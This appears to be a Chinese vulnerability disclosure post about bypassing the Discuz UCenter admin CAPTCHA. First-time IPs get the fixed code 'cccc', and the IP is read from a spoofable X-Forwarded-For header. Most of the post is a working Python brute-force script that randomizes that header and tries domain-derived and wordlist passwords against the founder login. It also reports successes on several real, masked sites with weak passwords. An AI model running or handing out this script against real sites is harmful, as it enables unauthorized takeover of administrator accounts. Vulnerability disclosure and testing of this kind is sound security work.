没看源码,直接黑盒测试的。非验证码识别。
so 附上利用代码+几个成功案例。
http://192.168.1.105/discuz/uc_server/admin.php
含有一个验证码
验证码的地址为
http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500
但是
经过测试发现
登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc
而 ip地址 是通过X-Forwarded-For 获取的。
也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc
所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。
程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。
#coding:utf-8
import httplib,re,random,urllib,time
from sys import argv
# 进行爆破
def getHtml(host,htmlhash,htmlpass,htmlseccode):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}
postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'
resultHtml=httplib.HTTPConnection(host, 80, False)
resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )
page=resultHtml.getresponse()
pageConect=page.read()
return pageConect
#获取 formhash 和 seccodehidden
def gethashs(host):
url='http://'+host+'/uc_server/admin.php'
pageContent=urllib.urlopen(url).read()
r1=re.compile('')
htmlhash=r1.findall(pageContent)[0]
r2=re.compile('')
htmlseccode=r2.findall(pageContent)[0]
return htmlhash+' '+htmlseccode
#通过argv获取 host 字典 间隔时间 进行爆破
if(len(argv)==1):
print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'
else:
host=argv[1]
passfile=argv[2]
sleeptime=argv[3]
print '网站host为 '+host
#取域名 然后添加一些密码
hostuser=host.split('.')
hostuser=hostuser[len(hostuser)-2]
hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456']
print '密码字典为 '+passfile
print '间隔时间为 '+sleeptime
print '--->'
x=gethashs(host).split(' ')
f=open(passfile,'r')
htmlpass=f.read().split('\r\n')
htmlpass=hostpass+htmlpass
f.close()
for i in range(len(htmlpass)):
time.sleep(float(sleeptime))
print '正在尝试密码'+htmlpass[i]
if(getHtml(host,x[0],htmlpass[i],x[1])==''):
print '密码为 '+htmlpass[i]
break
python dz_blast.py 192.168.1.117 pass.txt 0
192.168.1.117 新建的一个虚拟机 里面搭建的dz
附上几个成功案例
手头没有这种字典,就随便添加了几个密码测试了下,都是很常见的弱口令1.http://**.**.**/ admin123456_
2.http://**.**.**/ admin_
3.http://**.**.**/ 123456
解决方案:
加强验证